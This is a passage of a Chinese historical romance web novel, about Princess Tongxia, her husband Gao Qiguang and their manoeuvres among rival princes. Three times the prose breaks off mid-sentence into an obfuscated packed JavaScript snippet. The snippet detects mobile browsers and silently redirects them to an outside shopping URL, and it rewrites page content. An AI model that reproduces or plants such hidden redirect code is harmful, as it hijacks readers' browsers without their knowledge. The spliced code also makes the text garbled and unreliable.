“就是裴昂拜相后一日的事。听闻是陛下与吏部议到岁考之事,就想起他的品阶颇低,与驸马的身份不配,先免了他的许王师,再作安排。当时似乎高琰也在,倒不知究竟是陛下之意,还是高琰进言,也不知要给他什么官位。” 裴昂拜相后一日,不就是他忽然半途早归的那日么?他还能戏言王府授课可作为他半途早退的借口!可什么样的安排竟必须要免去许王师的附职?他不肯相告的背后又有怎样的隐秘? 一时再说不上来是何心情,同霞只觉脑中嗡嗡乱响,胸口泛起阵阵恶心,咽忍不住,伏在榻边呕吐起来。 萧遮登时大惊,只将同霞紧紧拉住,慌声大喊:“来人!快来人!去传医官!”然而声音方起,房门即被猛力冲开,未及他看清来人,已被撞翻在地—— “霞儿!霞儿!” 同霞病中少食,这半日只吃了小碗糖粥,一通混乱下早已吐尽。她不必辨别来人,抹着口边酸液,咬着牙硬是撑起了身子: “你回来了?” 只是句寻常的话。 高齐光两眼涨红,气息短促,是忧急于她的病体,更是惊惶于她的“寻常”。他竟然失语。 萧遮这才弄清状况,踉跄站起,气愤已极,骂道:“高齐光,我就知道你心里有鬼!你不愿屈就我许王府,一定是高琰助你脱身的吧?小姑姑一片真心待你,你却不肯如实相告,不是心虚又是什么?!” 本不欲多事,到了此刻,同霞却无意阻止萧遮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐光颤颤点头,深知此情残忍至极,自己便是罪魁,供认道:“嗯,我看到许王先进了门,便在外等候。” 原来他回来得比她想象得还快些,“那你都听见了?” “是。” 同霞吃力地一笑:“你听见他劝我们离婚,也不着急?” 齐光到底难忍,眼中垂下泪来:“因为我知道你不会答应。” 同霞依旧含笑,想抬手为他擦拭,却再也无力,“七郎就是那样的人,你知道的,就多担待吧。”歇了歇,方继续道: “只是我这个样子,或许也不能和你做一世夫妻……你虽不再是他的老师,若能看在我的份上,以后肃王做了太子,护他一条命,好不好?就……把他贬出京外,到最远的地方去,活着,就好。” 她或者是戏言,或者是惩罚,或者当真是绝望的托付,齐光都没有打断,因为他知道,有些事已是心照不宣——他亲口说过的身为许王师,便要维护许王的承诺,刚刚成了笑话。 他早知有此一天,只是可以想到的毕竟十分少于不能预料的。就如他对她的情愫,从杏园初见的陷阱明目张胆摆在眼前,他纵身一跃的勇气是来自于那一枚她亲手递来的乳酥糖,这件事他竟到后来才发觉。 “霞儿,你不会有事,许王也不会,我会一直守着你。” 这固然再算不得承诺,也可当成是许愿,只是同霞不欲再查究原委。她笑了笑,像是赞同,也像是放心。 还有他绝不能探知的——得逞。 27.人如故否 腊月已至,京中大雪,天气一下冷了许多。稚柳自房中备了一盏手炉给看守宅门的李固送去。到时,正见他抱剑倚在门下,仰面迎风,又不时伸手去够檐上积雪。 “看来,你不冷。”她抿唇笑道。 这个天气,四下冷清,骤然闻声,不由李固一惊,转脸看到人方惭愧一笑:“这么冷,出来做什么?公主睡了?” 手炉虽不大,她就端在身前,他却浑然不见,“你的眼睛……”正欲调侃,却忽见他氅衣下似乎掖着样东西,也只手炉般大小,“你已经拿了手炉了?” 李固愣了愣,这才看见她掌中之物,明白过来,拿出来道:“才刚董静来了,在巷口伸头伸脑,又缩手缩脚的。我奇怪起来就去问他,原是许王让他来送新糖,他却怕驸马在家,不敢靠近。” 稚柳很是明白,无奈轻叹,伸手接过那一方糖盒,顺道就将手炉换到了他手中,道: “眼下什么都不重要,公主不能再受刺激了。只不过,她成日闷在房里,除了糖,也没有什么能叫她分心的。按照原本的打算,不是还要出城一趟么?” 李固亦都心知肚明,点点头,余光偶又划过道旁积雪,想到了什么,眼睛一亮:“你先进去,太冷了,等公主醒了我叫你。” 稚柳没看出名堂,只觉他莫名兴奋,想要询问,被他一臂揽过往里推去,耳畔只听:“多谢你,真暖和。” 她一张脸由此倏然红透,再不必他劝,小跑而去。 * 许王师之职一除,高齐光仅剩的学士职实则也成了空名。 没有人会给一个即将升迁的得宠驸马加派冗杂的学务,无法逃脱岁考的同僚们或是艳羡,或是议论,甚或是不掩饰的趋附,注定会成为他德初三年的收场。 远不到平常下职的时辰,齐光已出了皇城。荀奉候在城门,见他走来,也牵马迎去。 “我要你做件事。” 不及递上缰绳,只听一句突然的交代,荀奉愣了下:“公子怎么了?” 齐光却一时不再多说,翻身上马,踏雪驰出数条街道,才在一处河堤下渐渐缓速,道:“回去之后你速速准备行装,正月之前启程,将冯氏送回清河。” 河道上的寒风呼啸耳畔,荀奉怕未听全,确认道:“公子是不想再管她了?” 齐光闭了闭眼睛,决心已定:“你知道,我是为报恩才留着她,可现在仁至义尽,已无必要,她的身体也足可以上路了。” 荀奉自然不反对,但想来,这一二月间,只看他为公主忧心如焚,并不曾丝毫提过冯氏,忽然有此安排,应该有些内情,问道: “她虽不知道我们的事,可我记得,她从前就问起过阿黛娘子眼疾之事,大约是有些疑惑的。如今放她自生自灭,公子就不怕她情急胡言,闹得公主疑心?” 齐光回首看他,天色阴沉泛青,四下雪气迷茫,惨绿的身形近乎隐没,却独一双目光映着河面浮冰的裂隙,清晰而可怖:“倘若公主已经疑心了呢?” 荀奉惊得脸色一白:“是公主问了冯氏?” 齐光缓缓闭目,僵硬的手掌艰难攥拳,牵扯得身躯也微微发抖,“冯氏生产那日,公主闻知,脱口便说‘她早上还好好的’。我连日推想,愈觉不对,问了阿黛才知,那日公主见了她许久,出来后便对阿黛态度反常。” 荀奉那时就在当场,一下便记了起来,立马道:“那此刻送走冯氏,不是欲盖弥彰么?还是该保护阿黛娘子,不然,我送娘子回乡安置?再叫秦公子照应着。” “你这么做才是欲盖弥彰!我绝不会让阿黛置身险境,她必须留在我身边。”齐光断然推翻了他轻巧的想法,深吸了口气,又道: “这件事,我没有理由去试问公主,公主也并不想向我求证。我让你送走冯氏,既是因为她该走,也是因为,在公主面前,今后很长一段时日我都会无所作为。” 荀奉半知半解,想来又道:“我看得出来,公主对公子很好,可是她不问,我想不通。难道说,她是为了许王?不想揭破,全你们夫妻之义,换取公子在朝堂上对许王的维护——可是,她是陛下宠爱的公主,许王也好歹是王爵在身的皇子,他们加在一起怎么可能不如公子一人之力?” 荀奉是齐光自小的心腹,虽常与他计议大事,这般直抒胸臆,道理简单,却是从未有过的深刻。然而齐光只是无谓一笑: “我不知道她想做什么,或许她就是我看到的样子,但都不重要。” 荀奉摇头:“那什么才算重要?” “我亏负她的,总要报应。报应到来之前,她喜欢做什么就做什么便是了。” 荀奉心中不忍,只欲追根究底,却见他忽然调转马首,扬鞭之前,又沉声道: “安置好冯氏,你便亲自去一趟甘州,叮嘱秦非,务必尽快设法到繁京相见。” * 一只三足铜盘中垒着一个小小的雪人,圆圆的脑袋上用石子嵌了两只眼睛,圆圆的身躯左右也各插了一丫细枝当做手臂。 同霞醒来便见稚柳端来这雪人,说是李固做给她玩的。只是上下端详,唯觉欠缺了一张嘴巴,“五官之中最重要的就是嘴了,没有嘴吃不了东西,那活着还有什么滋味?” “那公主就赐它一张嘴吧。”稚柳笑着陪在她身侧,果见她一改病中沉闷,也算放了心。 同霞正是在想拿什么做它的嘴,放眼妆台,先叫稚柳取了花钿来,但花钿只有金玉做的,比在雪上看,既累赘,也不协调。“那是什么盒子?没见过。”目光转到榻侧杌凳,却望见一方描花的小木盒。 “哦!是糖。”那盒子比雪人先到,稚柳这才恍然想起,连忙送到同霞面前,将来由说了,“公主要不要尝尝?” 自萧遮闹了一场,辗转已过去两旬。这两旬极其平常,极其平静,什么事也没有发生,而她的病竟也没有再加剧。她忽然想到一个词,否极泰来,不觉点头,又作一笑。 否极不可知,泰来更不可知,静待而已。 她抬手打开糖盒,扑鼻一股熟悉的风味:“是频婆果做的糖,还是第一次见,看来七郎费心了。”捻了一枚含入口中,清甜略酸,有芳香气,果然合她心意。便又向稚柳送去一块,笑道: “不如就用这糖给它做嘴吧?” 稚柳含糖点头,只觉她脑筋奇妙,“公主试试。” 同霞便从盒中挑了块略小些的糖缀在了雪人脸上,莹白中一点暗红,不但融合,也像是涂了口脂般,当真好看,“好漂亮。” “不仅漂亮,还有口福。” 这话非出主仆二人之口,她们沉浸其间,一丝不察高齐光已经久立帐前。稚柳于是静默离去,同霞也不算惊讶,偏着脑袋向他招了招手: “你会不会垒雪人?” 齐光依从走去,却将摆放雪人的小案略推远了些,“这是你垒的?玩了多久?不冷么?”握住她双手,倒觉是温热的。 同霞笑笑,抽开一只手拿了块糖送到他嘴边,道:“这是七郎送来的,频婆果的糖。频婆果多产于燕地,宫中冬日贡果也常见——你的家乡清河郡不就在燕地么?” 齐光张口含糖,置于舌上等待渐融,才点头道:“是啊,清河郡也产频婆果,若切块晒干为果脯,便叫频婆粮,可以充饥。” 同霞没听说过后一种吃法,道:“我想吃。”又问道:“阿黛姐姐会做吗?切块晒干,听上去和晒药材也差不多。” 齐光微微一笑,并不言语,起身走向门外,半途却又折返,端起放雪人的小案,道:“它已大汗淋漓了,我请它暂且出去逛逛。” 帘帐里外都放了炭炉,室内温暖如春,饶是李固将雪人压得扎实,此刻也渐融了,盘中积水眼看就要满溢。同霞明白他的意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830462|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思,但也知道他并非专程为此,静静待他回来,方问道: “你干什么去了?不会也垒了一个雪人吧?” “你要在雪尽之前好起来,我就带你去外头垒雪人。”齐光仍坐在她身侧,拢住她,一手抚着她略显蓬乱的鬓发,直至平整,“再迟些不肯好,开了春,就要再等一年了。” 明明在等候他切实的回答,听到此处,同霞却一时恍惚。他们也算认识一年了,明年此时会是什么样呢?京中飞雪如故,人如故否? 不堪细想。她只追问道:“那你做什么去了?” 齐光一笑,尚未从她发间撤下的手移到她颊上,轻轻揉了揉,“我就是去告诉阿黛,你想吃频婆粮,她本就会做,只不过这东西费时,要你等上几天。” 同霞心觉惊讶,继而也有一瞬的惭愧,“我……随口一说,我没有使唤她的意思。” 齐光含笑摇头,似乎能看透她,也像是毫不在意,“是我交代她的,她也是乐意的。你很久没有说过想吃什么了,所以我很高兴。” 方才只是一星半点的愧意,此刻对视他真诚直白的目光,同霞竟几乎想要脱口承认,她不过是偶然想到,可以借频婆果产于燕地的巧合,试探高黛的身份。 冯氏描述的本该左眼歪斜的表妹,若当真不是高黛,那她便有可能不是燕地女子——当然,这只是一个仓促且苍白的策略。 “驸马。” 正不知所言,门外忽然传来稚柳的呼唤,但却奇怪得只叫了齐光一人。同霞索性先接口道: “怎么了?你进来。” 稚柳闻言入内,看了同霞一眼,仍对齐光禀道:“肃王府忽然来人邀驸马过府议事,妾问何事,他只说自己不知。妾看他独身而来,虽携带王府玉牌,却穿着麻布衣衫,似是行动隐秘的样子。” 同霞没有头绪,齐光也一时皱眉,道:“你去回他,此事若不急,现在天色已晚,我明日一早再去。” 看稚柳匆匆又去,同霞揣度齐光言辞反应,倒有了些洞察:“他不是急事,怎会让这样一个人来?你是不是已经猜到何事了?只是依此确认。” 齐光轻轻一笑,夹带些许无奈,仍抚了抚她的脸,“我还没来得及告诉你,陛下今日已定了裴尚书之女为许王妃,册封的旨意大约明天一早就会传下。” 月余前的猜测果然成真! 而同霞此刻恍然所悟的却是,原来裴昂拜相,高齐光升迁,竟是皇帝与高琰交易。也由此,她原本以为会扎进高琰心头的一根芒刺,辗转就只刺入了肃王的眉心。 果然稚柳询问返回就道:“他说,肃王请驸马务必今夜相见。” 未待齐光下文,同霞率先一步牵住了他的手,缓缓道:“那你就去吧。上回徐纵的案子,高琰不也是请你去居中调和的么?七郎得了这样一个王妃,他肯定又把七郎当对手了。你去劝劝他,就说七郎当真无心,君命难违罢了。” 她说得小心翼翼,更似乎有些害怕,齐光很难不动恻隐,抱了抱她,哄道:“你别着急,于身体无益。我去了也改变不了圣意,我陪着你,哪里都不去。” 说着便指点稚柳道:“公主病着,我走不开,你就这样告诉……” 同霞伸出一指拦在了他的唇间,摇了摇头:“你不去,他只会更加误会七郎,大约连我也会当成仇敌。”又摸来一枚糖送进了他口中,“我没事,我会好好等你回来的。” 她的乖巧在这一刻令齐光感到心痛——她是需要他的,但不需要他留下,她知道他此去会有怎样的结果,但只是略显无情地纵容。 他看见至清至纯的一双明眸,似乎跃动着并不寻常的光泽,但心头绵绵不绝的痛楚让他不欲深究。 没有再等口中的糖融化,他用后牙咬碎,脆响出声,在二人相视一笑中说出了她所期待的话: “好,你放心。” 28.何虑何营 肃王府行动隐秘的来者,果然是从王府后门将齐光引入内院,一路都尤为注意避人。仍是初秋时谈话的那间小阁,齐光甫一进入,看见萧迁的形容,却又并非想象中那般急切。 “驸马自便就是。”萧迁一笑免去齐光行礼,指着自己对面设下的席位说道。 齐光依言不拜,却没有立即入座,道:“公主久病未愈,难道大王不知?” 萧迁微微惊讶,转又一笑:“陛下夸赞你们夫妻相敬如宾,孤看还该多加一句‘鹣鲽情深’。只是你不必急着埋怨孤——小姑姑若当真病重,或者你当真不明孤的心思,现在还会站在这里么?” 齐光面上一无波澜,似默认,这才撩袍入席,道:“臣不敢埋怨大王,但裴昂做了许王的岳丈,谁也改变不了。” 萧迁喜欢他的直白,却觉得他没有把话说完,“孤不会连这样简单的道理都不懂,就想请教驸马,究竟是如何从许王府脱身的呢?” 裴昂拜相,裴女册妃,还有自己免去许王师的事,都是近日接连发生的,他能联系起来,齐光并不觉稀奇,一笑: “自然是许国公之力。陛下欲令裴昂参知枢要,许国公早有预料,他便觉得,可以动一动臣的位置了。至于缘故,许王有了如此岳家,朝臣们必会觉得陛下看重许王,但陛下并不急于立储,便一定会同意将臣交由许国公安排,以此保持平衡。” 萧迁点了点头,又问:“道理虽如此,但拿你和孤的七弟相提并论,如何算是平衡?” 齐光答道:“臣虽位卑,也是安喜长公主的驸马,公主乃陛下爱主,陛下自会有所顾念。况且,公主先前为匿名弹劾所中伤,陛下是知道公主委屈的。以公主的尊荣,难道还比不上一个裴家么?” 原来,破题的关键在于“公主”。 “公主”是高皇后抚养的公主,最初提议赐婚于高齐光的也是高琰,这个地位特殊的小姑母其实本就算是高氏的公主——这一点,萧迁忽在此刻有了崭新的体悟。 他不禁细细端详起他可以尊称为“姑丈”的绿袍小吏。绿袍于此人而言,竟越发不协调起来;那张俊逸面孔不必说是招惹女人喜爱的,但面皮之下的胆略,大约才是此人最迷人之处。 收敛思绪,萧迁正色道:“高齐光,你上次对孤所言的‘得君行道’,现在还作数么?” 齐光笑道:“如大王所言,臣已经在这里了。” 萧迁紧接着又道:“那你能保证,小姑母也和你一样么?” 齐光略一思忖:“公主原也有话要臣带给大王,她说,请大王不要将她也视同仇敌。” “她是指孤视七郎为敌?”萧迁皱眉反问道。 齐光深深吸气,扶案将身前移,道:“此事满朝皆知,就是陛下不也常以许王故布疑阵么?公主亲近许王是事实,但陛下又岂会容得公主干政?若果如此,大王早已没有机会了!” 萧迁并不至于将这位姑母当做政敌,可他却解释得过于透彻,“看来驸马是真的爱护小姑姑。” 齐光面不改色:“公主是臣的妻子,臣不允许任何人非议臣的妻子,这也是身为丈夫应尽之义。” 他语出大胆,也似乎偏离了今夜的正论,但萧迁反而感觉到了放心:毕竟身为得宠公主的驸马,也是此人的一大优势。 “你这么说,孤就明白了。”萧迁亲自与他斟茶,面色变得轻盈,但等他告谢饮下,却忽将案侧一盏灯檠推至中央,道: “明灯不照暗室,孤不想与驸马欺心,驸马可实言相告,究竟为何要到孤的身边来?高琰待你不好么?” 齐光微微一顿,放了杯盏,“那大王本为高氏养子,高氏必会竭尽全力推大王为储,大王又为何常怀不安呢?” 萧迁已全不在意他锋利的言辞,也有耐心等他的坦陈,“高氏把持朝政几十年,陛下便是受其托举才有今日。既受其恩,便受其限,可孤不欲再受高氏摆布,做一个傀儡。” “臣相信大王所言。” “那你可以说实话了么?”萧迁目光直视道。 齐光抿唇一笑,似仍在斟酌,半晌方以右手食指蘸了杯中余水,在案上划出了一个字。 灯烛明亮,字迹清爽,萧迁一目了然,也一瞬愕然,“你……” 齐光展手抹去水迹,摇了摇头:“吞舟之鱼,不游枝流。” * 册封裴昂之女为许王妃的制书于早朝时颁布,裴氏一门俨然已成本朝新贵。那两班文武,一片朱紫,不论新旧远近的关系,又将裴昂拜相时排队道贺的戏码不厌其烦地上演了一遭。 就在散朝后的宫道上。 许国公高琰与此场景擦肩而过,不自禁沾染上的余光,略带些许轻蔑。直至离宫归家,在门首下马,阶前迎候的门吏也瞧出了他不同往常的面貌。 门吏本该牵马退去,却停在原地,踟蹰不决。果见高琰发觉,拂来嫌恶的目光,只得垂首告道: “家翁,原是半个时辰前高驸马来了,小人不知该……” 高琰才要发作的情绪因那三个字瞬间转为了惊诧,望了眼门内,急问道:“他人呢?现在还在里头?” 门吏松了口气,忙如实禀道:“小人自知驸马是贵客,但他并未进门,只留下一个食盒,要小奴奉与家翁。” 他说着便跑回门侧阍房捧来了那样物件。高琰一见,是只高圈足花瓣形的食盒,虽精致,却不至于是什么罕物。便示意门吏拿开盒盖,再看时,竟是恍然大悟。 盒中摆着一样糕点,雪白饼面上横竖各淋了两道金黄的蜜糖,是蜜糖金乳酥。而其风味中飘出一股淡淡脂腻香,不同寻常,应是饼馅中含有肉糜。 “他还留下什么话没有?”高琰一改肃容,竟是笑问。 门吏思索道:“高驸马只说,公主病体未愈,他不便久留,望家翁勿要怪罪。” 安喜长公主多病不是新闻,高齐光身为驸马自然不能久离病榻。但朝局浮动之际,他倒并未忘记自己的本职——那道含有肉馅的金乳酥是肃王府独有,高齐光见了肃王。 高琰此刻由衷地觉得,那真是一个一点就透的人,真是一个不可多得的当世俊彦。 * 齐光回到家中已是晨间,料想同霞必定未醒,踏进房门的脚步轻之又轻。只是望见榻上的情形,同霞虽沉睡,却是半身趴在稚柳腿上,由稚柳拍着后背。这倒是他少见的。 稚柳看见齐光进门,领会他的意思,没有惊动,低低禀道:“公主昨夜硬要等驸马回来,过了二更还不肯睡。妾无法,只好这样哄着,一二刻不理她,也就睡了。” 同霞一向依赖这位年长的侍女,齐光并非不知,此刻又想起同霞说过,稚柳从她六岁起就服侍身边,看来情分实在不同。也轻声道:“公主有你照料,是无不妥帖的。” 稚柳皱眉一笑,看向同霞:“公主生来多病,时常夜哭不止,或至咳喘惊梦,必要这样拍抚,让她感到身边有人,才可稍稍安睡。后来大了,便成了个习惯。” 习惯?齐光第一次知道这个习惯,心中微微一沉,想要再细问,却忽见这沉睡之人浑身一缩,醒来了。 “你怎么才回来?”她人还发懵,便一下支起了身子,揉了揉眼睛,又只管向齐光伸开双臂。 齐光毫无招架之力,皱眉一叹,将她接纳怀中,歉疚道:“昨夜了事已经夜深,金吾禁街,我不便行路,实在对不起。” “哦。”她并无深究的意思,含混地应了声,又闭上了眼睛。 稚柳见状,不便在侧,告道准备早食,退出了门外。 齐光看同霞还有睡意,想到方才情形,索性学起稚柳,一手环抱,一手替她拍抚后背,“再睡睡吧,我在。” 同霞果然又有半晌不曾出声,齐光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839628|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 含笑凝视她安静的睡颜,纵使一夜未眠,也不舍得合眼片刻。 “我小时候是个讨厌的孩子。” 她竟又出人不意冒出话来,齐光不禁睁大了眼睛,但很快明白过来,她原是听到了稚柳说话,轻笑道:“是生病才这样,不怪你。” 同霞又道:“可只有稚柳不嫌我,几个侍娘都被我磨走了。她们经常在背后骂我,说我没有福气还托生成公主,怎么不早死了。她们以为我小就听不懂,可我都记住了,才不想遂了他们的愿,偏要活着,活成一个公主该有的样子。” 她幼年时备受冷落,齐光已知,但这样的经历还是令他心中一惊,不知说些什么。但忽然有所顿悟的是,她的性情,她的行事,为何总能看似寻常而并不寻常。 她不惧怕他审视的目光,也从未试图拆解他的心思,她所袒露的真情,毫不让人怀疑,她所隐藏的真情,也毫不让人迫切。她这样游刃有余,大约就是她想成为的“公主的样子”。 “现在我就做到了,你说是不是?” 他久无回应,她的追问却像极了看穿他一般。他看着她昂起的脸,憧憬的眼睛,赧然一笑,道:“嗯,你做得很好。” 同霞满意一笑,不再去睡,双手捧起他的脸,皱眉端量,忽向他唇上轻缀一吻,“我不想睡了,要么,你和我一起睡?” 齐光愣了一愣,方明白她眼中直白的意思,不言,托住她的脑后,翻身将她笼罩在自己制造的阴影下,“我昨天说的话,你迟迟不肯好,不能在雪尽之前去垒雪人,便也不能想别的。” 他以这样暧昧的姿态向她告诫,她好笑起来,“我就想!”又道:“我可以做你的良药,你为什么不肯?你对我的喜欢,不如我对你的。” 她不过是挑衅,齐光并不上当,微微点头,只是转身平躺下,“不就是一起睡觉么?请闭上眼吧。” 他居然真的这么睡了,躺得板板正正,同霞负气坐起身,盯他半日也不见他抬一抬眼皮,甚至连呼吸都均匀得像是睡熟了。 “无趣。” 她轻哼一声,又将他从头至脚看过几遍,似等非等,忽然站起来,跨过这副无趣的身板去到了妆台前,翻一翻这只银平脱盒子,再晃一晃那只梅花漆奁,弄得响声大动—— “向来良药苦口,你倒是苦耳。” 声响戛然而止,因为她的手已被牵住,身躯亦随之跌入那人的怀抱。她不去看他,则是因为此刻难以压平嘴角,“所以,我不是你的良药。” “那你也不喜欢我了?”他知道她此刻想听什么话,耐心十足地等着她继续胡闹。 她缓缓转过脸,以一双略带好奇的眼神看来,“我不喜欢你了,你还会不会喜欢我?” 齐光少许不料,但想来也不大超出胡闹的范畴,淡笑道:“你不喜欢我了,要喜欢谁去?” “换一个驸马。”她答得颇快,又道:“你也换一个妻子,比我还好看,什么都会做,懂你知你,无不体贴。你们在一起,纵心纵情,何虑何营,是神仙眷侣。” 他明白她的意图了,只是她的方式是他没有想到的,他略感佩服,思索片时,说道:“原来,我们不是这样的神仙眷侣?” 他的体面哪怕仓促,终究也不失风度,她巧笑一声,赞许地点了点头:“我看你精神不错,是在肃王府休息过了?他有没有挑几个美貌的侍女服侍你?” 本该是正题,辗转至此刻才戏谑地开场,齐光不由暗叹,她当真太过别出心裁,一笑道: “美女倒是没有,特制的蜜糖金乳酥却赐了一盒。肃王说,知道小姑姑爱吃甜食,望你早日痊愈。” “在哪儿?”同霞环顾一圈也没看见像是食盒的东西,“我虽然不喜欢,你也不能一路全吃完了吧?” 齐光正经地摇了摇头:“你不喜欢的,我也不喜欢,就随手给了街边戏耍的孩子。” 29.煎水作冰 高齐光要将冯贞送还家乡的事,同霞直到他们启程当日才简略地过问了一句。所做也只是叫稚柳在她的行李中添了一箱金银和四季衣用。同霞或许轻视过这个女子,但此时只有无尽的羡慕。 “公主,他们走了。冯氏还想再求见公主,妾没有答应。” 听见稚柳进来回禀,同霞才自窗下转过了身:“怎么?她不想走?” 稚柳点头道:“她与人私通的事,驸马一定与她说破了,她自然只能仰赖公主。还说,除了孩子的事,她没有骗过公主。” 同霞微微一笑,撑腮坐去镜前,望着自己懒于梳洗的面貌,缓缓道:“她真是傻,这些真假没那么重要。你应该告诉她,眼前的财货,未来的自由,才是真的重要。” 稚柳岂不知她心意,轻叹一声,走到衣架前取了外氅与她披上,“虽是好些了,还在吃药,还是去榻上吧?” 同霞顺势偎向她怀中,无赖道:“我不想好,至少把正月熬过去,便不用参加那一串的宴会了。” 稚柳拿她无法,想她一病三月,已避开了多次宫宴,皇帝甚至派遣了专门供奉天子的尚药局医师前来,她却是这样心思,也够淘气,笑道:“好,等过了正月,妾就陪公主出城游春,可好?” 出城,倒是个被耽误的要紧事。同霞瞬间眼睛一亮,正扬起脸要说些安排,不意忽听门外有人告道: “公主,小女高黛,来给公主送频婆粮。” 萧遮送来的频婆果糖已经吃尽,同霞也有些淡忘了这桩事,略一迟滞,还是叫稚柳将人请了进来。 这是高黛第二次主动前来,相似的是她恭敬的举止,不同的则是她只停留在门前,也不曾抬眼。同霞端量了片时,置之一笑: “你哥哥说,频婆粮可以充饥,是因为燕地多产,比米面还便宜么?” 高黛回道:“回公主,米面于贫苦人家是奢侈之物,频婆果则在野地多见,便有人晒干储存,用来充饥。” 同霞点点头,示意稚柳将她手中的果盘接了过来,近看时,倒是分了两种,一半色深,一半色浅,“为什么不一样?” 高黛自有准备,很快答道:“频婆果原本也算酸甜,但晾干后味道就淡了。小女知道公主爱甜,便另备一种裹了糖浆的,供公主选择。” 同霞不料高黛能心细至此,想起先前对她的一番奚落,一时竟不知该愧疚,还是该宽心,甚或是释怀。但想必,冯氏既被送走,他们兄妹间也已互通了有无。 他果然是不动声色的。 “我看过你家的家状,三代之内虽无仕宦,祖父和父亲却都是书院的先生,想来家中不至于贫苦,你们也会吃频婆粮么?” 高黛大约没有想到公主会与她多说,不安地闪了闪目光,“频婆粮也算是消遣的小食,倒也常吃。” 同霞将她的为难收入眼底,含笑将两种频婆粮一一尝过,“阿黛姐姐,我都喜欢,劳烦你了,今后不必再送来了。” 高黛仍不敢仔细琢磨,暗暗吸了口气,道:“是,小女告退。” 直到透窗看到她的身影移向后院,同霞又向果盘中拿起了一块频婆粮,果肉芳香,糖色剔透,如琥珀般,像制成它的人一样,清秀明媚,“真是好看。” 稚柳只当她是称赞此物,正欲问她是否要收起来,外头竟传来一阵怪异的响动,虽不大,但随之而来的却是李固低沉的声音: “公主,有客求见。” 这个小宅除了来过萧遮,还从未有过旁人来访同霞。她想不到会是谁,但抬眼间,已见那人站在了门下—— “长公主恕罪,是妾冒昧到访。” * 来者身披斗篷,头戴帷帽,遮掩得比寻常女子出行更多些,但哪怕听见她熟悉又谦卑的自叙,同霞也没有认出她的身份,只待她步步走近,行礼下拜,方瞧见飘飞的帷帘下露出的容颜。 心中一震。 “稚柳,你去守着后廊,再叫李固不许再放人进来!” 稚柳也并不认识此人,见同霞骤然变色,知晓分寸,连忙小跑而去。同霞仍不敢掉以轻心,一把按下她将要摘下帷帽的手,沉声道: “我们只说话便是,徐孺人。” 肃王侧妃徐氏闻言一笑,依从道:“长公主过于谨慎了,妾只是听闻公主久病未愈,特来探望,就像公主先前看望妾一样。自然,这也是肃王允准的。” 京中贵眷常有宴游,并无王府妃妾就不得出门的规矩,只是同霞与她不过一面之缘,而先前肃王又才见过驸马,非常之时,自是要多多留心,“多谢你,但我已无大碍。这昭行坊偏远,难为肃王还放心让你过来。” 徐氏听出她略有疏隔之意,想了想道:“妾来之前问过大王,得知公主素来体弱。便想着,久病的人虽说调养为重,若病中的心情能开阔些,岂不更于保养有益?” 她这话要紧的在最后一句,这般若隐若现的深意和她上回的行事如出一辙,同霞忽然倒有些明白了:她大胆的示好,是为对付王妃高慈,而同霞与高氏的关系,正是她敢于亲近的底气。 只不过,同霞不能确定的是,这只是徐氏自己的计谋,还是连带也有肃王的拉拢。而后宅之争不足论道,可要是肃王心意,那他便是想要对抗高琰—— 这倒并不是一件难懂的事,肃王终究不是高氏亲子,略有风波,还需高齐光去居中调停。那么,同霞首先需要弄清的是,那夜肃王急传高齐光,除了是为储位忧虑,还说了些什么。 “我的心情么,想必你也听说了,不就是七郎纳妃的事么?”同霞索性抛砖引玉,破了题再看她的下文,佯作叹气又道: “我也不知陛下为何选了裴昂之女,又让裴昂拜相,这很难不让人猜测。那夜驸马去见肃王,不知可有宽他的心?” 徐氏果然不防同霞如此直白,掩在帷帽下的面色虽透不出来,到底半晌无言,才道: “长公主说笑了,如此朝事,大王怎会和妾提起?只不过,驸马才德出众,大王一向欣赏,所以凡事才会先向驸马请教。” 徐氏虽得宠,但萧迁倒并非一味沉迷美色的人。同霞心中忖度,觉得徐氏此话不大像假,但却也能印证,她今日的来意不外如是。 便又道:“这倒也是,驸马也不大与我说起外务,至多说过些七郎的学业,但他现在已不是许王师了。这也仰赖高琰对他的知遇之恩,他便在肃王之事上更加尽心,也是应该的。” 同霞言中带笑,就如闲聊般,徐氏渐也平静下来,缓缓道:“长公主能与妾说这些话,便是推心置腹,待妾不薄了。妾想来探望,其实也是感怀公主与驸马对大王的一片心意。” 不经意般叹了声,又道:“公主与大王都是皇后娘娘亲自教养,虽说公主与许王亲厚,但想来也不过是因为年纪相仿,相处得比大王久些。大王或会忧虑大事,但妾相信,公主待二位大王的心都是一样的。” 她这番话,若不论其真心假意,同霞单单听来,实在是明理贤德不过。便可想见,她素日在萧迁面前是怎样的善解人意,又岂能不把骄傲自矜的高慈比下去。 然而同霞明白,她既能说到这个地步,便一定是有意铺陈。 “我的名声一向不好,不料你却能看透我的心意,我真高兴。”同霞牵住她的双手笑道。 